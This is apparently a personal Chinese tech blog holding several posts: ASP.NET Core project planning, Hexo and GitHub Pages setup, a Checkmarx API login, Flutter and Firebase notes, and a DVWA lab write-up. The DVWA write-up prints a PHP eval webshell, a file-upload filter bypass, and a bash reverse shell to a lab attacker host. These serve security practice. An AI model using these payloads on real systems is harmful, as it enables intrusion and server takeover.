2022 iThome 鐵人賽 - ASP.NET Core - 活動報名管理系統:Day2 系統功能發想

開發框架與資料庫

  • ASP.NET Core MVC(.NET 5)
  • Entity Framework Core 5
  • SQL Server 2019

開發軟體

  • Visual Studio 2019
  • SSMS or Azure Data Studio(偶爾會用 macOS 開發)

系統應用描述

在一個活動中,主要會有「一般使用者」與「活動主辦方」兩種角色。這裡從兩種角色最一開始到結束的行為,e.g. 報名、舉辦活動開始至填寫活動意見回饋、瀏覽活動成效統計,用敘事的方式來統整系統會使用到哪些功能:

  1. 一般使用者

這週日剛好一整天沒事,到活動系統看一下有什麼活動可以參加好了。
這次想聽音樂會,於是將分類篩選中的音樂會多選方塊勾選起來,並且將活動舉辦日選擇為本週
畫面顯示有個 A 樂團的音樂會,(當滑鼠移到報名按鈕時)發現按鈕無法點選,並且顯示已停止報名的文字,只好看看有沒有其他樂團的音樂會可以參加,於是在分類篩選中勾選起尚可報名的多選方塊。
這次看到了 B 樂團的音樂會並且狀態顯示可報名,於是點擊活動標題,瀏覽器導向到活動的詳細資訊頁面。
頁面最下方有個報名的按鈕可點選,點選後瀏覽器跳轉至個人資訊填寫頁面,如果會員尚未登入,則先跳轉至登入頁面;若會員已登入,且已事先在會員中心填寫好個人資訊,則個人資訊填寫頁面的欄位直接帶出相對應的值。
剛剛忘記看活動幾點開始了,於是到會員中心中的活動參加歷史頁面,查找剛剛的活動,藉此得知活動的資訊。

在一般使用者的使用情境中,可以統整出下列功能:

  • 瀏覽頁面(首頁)
    • 活動名稱查詢
    • 分類篩選
      • 活動種類篩選
      • 活動日篩選
      • 是否開放報名
    • 顯示活動狀態
  • 活動詳細頁面
    • 活動內容資訊
    • 確認報名
  • 活動報名確認頁面
    • 填寫會員資訊
  1. 活動主辦者

我是 B 樂團的行政人員,這次演出將在 2022-10-02 舉辦一場音樂會,地點在高雄市的大東文化藝術中心,報名人數上限將設定在 100 人,可報名期間設定在 2022-09-01 00:00:00 ~ 2022-10-01 23:59:59,票價為 0 元,當然還有其他關於活動資訊的欄位要填寫,主辦單位相關資訊將會直接從會員中心的基本資料帶出。

而在活動主辦者的使用情境中,統整出以下功能:

  • 活動舉辦頁面
    • 活動詳細內容輸入

而兩者皆需要使用的功能為:

  • 會員登入/註冊
    • 系統自有註冊
    • Google OAuth
  • 會員中心
    • 會員/主辦資訊輸入
    • 活動參加/主辦歷史查詢

功能開發順序,我會如此排定:

  1. 系統的主軸在「活動」,所以會先從活動本身的 CRUD 來進行開發
  2. 會員註冊/登入功能(會有身份權限的功能)
  3. 前端 Bootstrap 套版

以上簡述了本次活動報名與管理系統的功能,每個功能的細節以及商業邏輯會在接下來的文章一一描述以及實作。

那麼,我們下一篇見!

2022 iThome 鐵人賽 - ASP.NET Core - 活動報名管理系統:Day1 上台前的深呼吸

大家好,我是 YeeTiao

其實想參加鐵人賽很久了,一直都認為人生就該參加一次鐵人賽,當然還要成功完賽,所以今年不可以停留在「想」,而要真正的實踐。

這次主題是使用自己擅長的 ASP.NET Core 來開發網頁程式「活動報名管理系統」,這個發想來自於自己的大學生活,因為大學活躍於社團活動,但大部分的活動舉辦與執行流程仍停留在紙本作業,如果有一個系統能夠提供大家在電腦或是行動裝置上進行活動的舉辦或是報名的話,就能減少多數的紙本作業,進而提高執行效率。

不過在這 30 天的內容,文章的撰寫模式會比較偏向個人筆記模式,除了會說明一些功能邏輯的程式碼,也會盡量帶到功能與套件的使用情境以及些許的原理,讓閱讀本系列文章的人可以知道哪些時候可以選擇適合的套件。
所以這系列的文章,我想會比較適合已經有使用 C# 與 ASP.NET Core 開發程式的基礎人士,至少不會提到該如何建立一個專案之類的事情。

本系列文章也會同步發佈在我的個人部落格

每篇文章的內容,若讀者有認為不清楚、可以改進或是發現錯誤的地方,再請多多指教!

最後,我想給自己、每一個參賽者、學習者、正在閱讀文章的你一些鼓勵:「相信自己,跳出舒適圈,突破框架,勇於嘗試,不恥下問,堅持到底。」

一起堅持到最後吧!

從 0 開始,用 Hexo 搭配 GitHub Pages 製作部落格 4

前言

在上一篇我們知道如何發表文章、草稿,或是使用已經建立好的文章架構(Scaffold)來建立文章,這篇我們要將 Hexo 發佈到 GitHub Page 上。

Deploy 到 GitHub Pages

先安裝 npm install hexo-deployer-git --save
設定好 _config.yml
找到 #Development 在下方新增以下資訊:

1
2
3
4
5
deploy:
type: git
repo: https://github.com/username/username.github.io.git
branch: main # 分支
message: "網站更新: {{ now('YYYY-MM-DD HH:mm:ss') }}" # Commit Message

執行 hexo cleanhexo deploy


大功告成!

Reference

Hexo 官網
Day 11:將你的 Hexo 部落格部屬到 Github Pages

從 0 開始,用 Hexo 搭配 GitHub Pages 製作部落格 3

前言

在上一篇我們已經將 Hexo 所需的設定檔與資料夾都生成完畢了,這篇我們要實際針對網站內容進行新增或編輯。

啟動網站

Hexo 官方文件_指令 中提到了許多指令,我們先來測試網站是否能正常運作顯示。

啟動網站,預設 Port 號為 4000,連結為 localhost:4000,可以加上 -p {port number} 來自訂 Port 號。
hexo server -p 8765


執行 hexo server


可以成功瀏覽!

新增草稿

有一個特殊 Layout draft,這是代表草稿的意思,使用 hexo new draft 標題 新增文章後,文章的檔案將會在 source\_drafts 的資料夾內。


新增草稿

在草稿內的文章是不會當下就發布在網站的,可以用 hexo publish [layout] 標題 來發布,發布同時也會將該文章在 _drafts 的草稿檔案刪掉。


可以看到”草稿1”被發佈到 _posts 的資料夾內了

新增文章

hexo new [layout] 標題

如果沒有設定 layout 的話,則會代入 _config.yml 中的 default_layout


新增一篇標題為”測試”的文章,而新的文章檔案會放在 source\_posts 這一個資料夾內。


新增文章成功

使用已建立好的文章架構(Scaffold)來新增文章

官方中文文件將 Scaffold 翻譯為鷹架,我覺得怪怪的XD,用架構好像比較清楚一點。我修改原有的 post.md 的內容來測試,而使用 scaffold 的檔案中,可以使用 date, title 變數,讓文章在產生時,能帶入標題與當下時間。
官方文件有更多參數可使用


編輯後的 post.md 內容

使用 hexo new post "用 post 架構建立文章" 來新增文章。


文章的架構與 scaffold\posts.md 的內容一樣

Reference

Hexo 官網

從 0 開始,用 Hexo 搭配 GitHub Pages 製作部落格 1

前言

終於開始動工自己的部落格,預計放在 GitHub Pages 上,使用最常見的 Hexo 框架,也當作是自己的 site project 以及第一篇長篇的紀錄文章,順便練習寫文章的能力,我將會把所有安裝方法、設定、部屬等等的事情記錄下來。

關於 Hexo

Hexo 官網

Hexo 是一個知名且用戶數非常多的部落格網頁框架,並且支持 Markdown(這點我非常喜歡),可用 node.js 來做套件管理,中文文章相當多,除非太獨特的坑以外,基本上中文的教學文章就夠用了。

GitHub Pages

GitHub Pages 是 GitHub 官方的免費靜態網頁代管服務,因為只支援靜態網頁,所以只能放置 html、js、css 等檔案,舉凡 php、.NET 等放上來是不會發生任何作用的

建立 GitHub Pages Repository

若要使用 GitHub Pages 服務,得先在個人的 GitHub 帳號中,建立一個名稱為 {UserName}.github.io 的 Repository,然後就結束了,就是這麼簡單!
就等著將網頁相關檔案上傳上去就好。


建立 GitHub Pages Repository


push 一個 html 檔來測試看看吧


輸入 https://username.github.io 來看看有沒有成功

安裝 Hexo

依照官方文件的步驟進行,我們需要在電腦上安裝 Node.js 與 Git。
安裝完 Node.js 後,執行下列指令來安裝 hexo 的 cli 套件。
npm install -g hexo-cli

至此我們已經完成了開發環境的建置,接下來我們要使用 Hexo 來建置部落格。

Reference

Hexo 官網
Node.js 官網
從零開始: 用github pages 上傳靜態網站


tags: 部落格 Hexo GitHub Page 紀錄
從 0 開始,用 Hexo 搭配 GitHub Pages 製作部落格 2

前言

在上一篇我們已經將 Git、Node.js、Hexo、GitHub Pages 都建置完畢了,這篇要開始操作 Hexo 來建立部落格。

Hexo: Setup

首先要建立 Hexo 所需要的設定檔,執行下列指令,Hexo 將產製設定檔到指定的資料夾。

1
2
3
$ hexo init <指定資料夾路徑> //e.g. X:\user.github.io\hexo
$ cd <指定資料夾路徑>
$ npm install

執行完後,會產生下列檔案

hexo init 產生的檔案

  • _config.yml
    • 這個檔案中有許多網站的設定檔
  • package.json
    • npm 的套件相關設定檔
  • scaffolds
    • 放置網頁的樣板(Template)
  • source
    • 原始檔案資料夾是放置內容的地方。檔案 / 資料夾名稱開頭為 _ (底線) 和隱藏檔案會被忽略,除了 _posts 資料夾以外。Markdown 和 HTML 檔案會被處理並放到 public 資料夾,而其他檔案會被拷貝過去。


_config.yml 的檔案內容片段

詳細設定可以在官網的文件中參考。
Hexo _config.yml 配置


package.json 的內容

至此 Hexo 的設定檔以及資料夾都已經生成完畢,接下來我們可以開始測試網站以及新增文章了。

Reference

Hexo 官網

Checkmarx:Use REST API login method and monitor connect status

How to use

Official Document:https://checkmarx.atlassian.net/wiki/spaces/KC/pages/1187774721/Using+the+CxSAST+REST+API+v8.6.0+and+up

Checkmarx version suggest v8.6.0 and up,use postman to try RESTapi.
Postman’s Headers need to configure,follow document steps,and we can get token from first step.

1
2
3
4
5
6
7
8
9
10
11
12
13
#Configure Headers
Content-Type:application/x-www-form-urlencoded;v=1.0
CxOrigin:cx-jenkins

#Configure Body
#POST Method
x-www-form-urlencoded
username:YOUR_USERNAME
password:YOUR_PASSWORD
grant_type:password
client_id:resource_owner_client
scope:sast_rest_api
client_secret:014DF517-39D1-4453-B7B3-9930C563627C

And we can take this token to try some function,like get all projects.

1
2
3
4
#Configure Headers
#GET Method
CxOrigin:cx-jenkins
Authorization:Bearer 'TOKEN(No quote)'

Notice:POST or GET method and headers must be right.

Heartbeat monitor

Official Document:
https://www.elastic.co/guide/en/beats/heartbeat/current/configuration-heartbeat-options.html

1
2
3
4
5
6
7
8
9
10
11
12
- type: http
schedule: '@every 10s'
urls: ["https://localhost/cxrestapi/auth/login"]
check.request:
method: POST
headers:
'Content-Type': 'application/x-www-form-urlencoded;v=1.0'
'CxOrigin' : 'cx-jenkins'
body:
'{"username":"CxUsername","password":"CxPassword"}'
check.response:
status: [200,500,503]

Notice:In body,because our request data is JSON,so we need to set body data to json format

We can set more options in check.response.statusnot 200 but 500,503 etc.

Flutter:Stateful, Stateless, Key, Context

Key

在理解key之前,我們要先釐清stateless與stateful的差異性。

stateless is Dataless
意味不使用任何資料,例如圖示、文字

在app運作過程中,不能被更換state,只能build一次,也就是說當app在運行時,stateless無法重新繪製,除非又被初始化一次。
常用元件例如:Icon、Chip、Text。
https://youtu.be/t2W_QYq2gqY

stateful is Dataful
意味Widget有著資料,例如這篇文章被按多少次讚(需要計算資料數),標題字串更改(更改資料)。

可以在app運行時隨時重新繪製無數次。
https://youtu.be/Agss0J3NmS0

這部影片展示stateless與stateful實例,可以看到stateless必須hot reload才會更新畫面widget。
https://youtu.be/njfj24njaVI

key將會用於保留元件狀態,例如滾動後的位置。
key並不會運用於stateless,而是在stateful。
假設兩個畫面有兩個狀態拉桿,而使用者想要在其中一個頁面的拉桿設為1時,另一個頁面中的拉桿也同時設為1,此時使用GlobalKey。
Key類型介紹看下面影片:
https://youtu.be/kn0EOS-ZiIc?t=413

Context

context類似標籤,一個widget有一個context,並且代表著該widget在widget tree中的位置。
state與context是緊扣在一起的,且是永久關係,state不會去改變context。

Source:https://segmentfault.com/a/1190000018863761

DWVA file upload Privilege Escalation

Environment

victim:CentOS 7.6 with DVWA(IP:192.168.0.250)
attacker:macOS Mojave(IP:192.168.0.1),Kali Linux(IP:192.168.0.128)

victim無配置iptables rules.

Security Level:Low

在Security Level為Low時,file upload可上傳任何檔案,因此上傳包含一句話木馬的php檔至伺服器。

Security Level = low,source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

in Hack.php

1
<?php @eval($_POST['pass']);?>


*一句話木馬詳細原理待補充

Altman

Altman為一跨平台webshell程式,可在macOS、Linux、Windows等系統上執行使用。
於畫面點選右鍵新增webshell,依序填入webshell別名、木馬執行方式、URL、一句話木馬中的字串。

右鍵點選可執行檔案總管、shell指令畫面等。

在此選擇shellCmder,驗證當前使用者,為apache

但在此並無法將使用者切換為root以及執行其他大部分程式(為低權限模式)。
而我們需要在victim上製作一個反彈shell,使得我們以interactive shell的方式與victim進行互動。
先在Kali Linux上開啟port 2333等待victim連接:

1
2
nc -lvp 2333    #此套件為netcat
listening on [any] 2333

在Altman下指令連接至Kali Linux以port 2333進行連接:

1
bash -i >& /dev/tcp/192.168.0.128/2333 0>&1

在Kali Linux的Terminal可以發現連線成功並以interactive shell,而可以直接切換至root。

Security Level:Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

從Source code發現,此層級只允許上傳jpg以及png類型的檔案,並且大小為100KB以下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
因此須將一句話木馬以jpg/png為副檔名來上傳,再使用Burp Suite擷取封包並且從中更改副檔名。Burp Suite以proxy的方式進行運作,所以瀏覽器需要設定proxy,預設port為8080。

![](https://i.imgur.com/DuimiM8.png)

將intercept切換為on,使Burp Suite接收封包。

![](https://i.imgur.com/B6ZkGTp.png)

在Content-Disposition中,將```filename="hack-medium.php"```更改為```filename="hack-medium.png"```,如此伺服器接收到的仍是PNG類型,但實際存放時的檔案類型為php。
之後執行webshell以及提權方法皆與security level=low時一樣。

## Security Level:High
```<?php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

strrpos()函數為尋找指定字串最後出現的位置。

substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);首先取得'.'最後出現的位置後再+1,以此數值使用substr函數取得該位置起始的字串。
也就是說$uploaded_ext會是一個為副檔名的字串(like ‘jpg’)。

getimagesize()此函數將取得圖像的大小與相關訊息。
Example:
Array ( [0] => 105 [1] => 60 [2] => 3 [3] => width="105" height="60" [bits] => 8 [mime] => image/png )

Reference

Linux 反弹shell(二)反弹shell的本质
Linux提权思路+实战
记一次曲折的Linux提权

Flutter:Integrate the Flutter project and Firebase

Open Xcode

當Flutter專案要與Firebase專案進行串聯時,我們必須在Firebase填入iOS Bundle ID,而這ID需要開啟Xcode來取得。

  1. 在Flutter專案已經建立好的前提下,打開Xcode,並點擊Open another project…

  2. 開啟Flutter中的Runner.xcodeproj,路徑為:$flutter_project/ios/Runner.xcodeproj

  3. 雙擊目錄列的Runner,右側即可查看Bundle Identifier

Add profile in Firebase

欄位輸入完成後即可下載設定檔,並將下載的設定檔放入Xcode專案的根目錄中。

Firebase SDK

跟著網頁步驟進行處理。

在Podfile加入此設定:

1
2
3
4
5
6
7
# Add the Firebase pod for Google Analytics
pod 'Firebase/Analytics'

# Add the pods for any other Firebase products you want to use in your app
# For example, to use Firebase Authentication and Cloud Firestore
pod 'Firebase/Auth'
pod 'Firebase/Firestore'
1
pod install

接著一樣跟著網頁的步驟進行就好
最後一個步驟時需要build flutter project完成與firebase的整合。

Error

如果import Firebase總是錯誤的話
參考Error: Could not build Objective-C module ‘Firebase’

Could not hardlink copy...
參考XCode Could not hardlink copy

Reference

Flutter: Firebase Tutorial Part 1 | Auth and Sign in

How to integrate your iOS Flutter App with Firebase on MacOS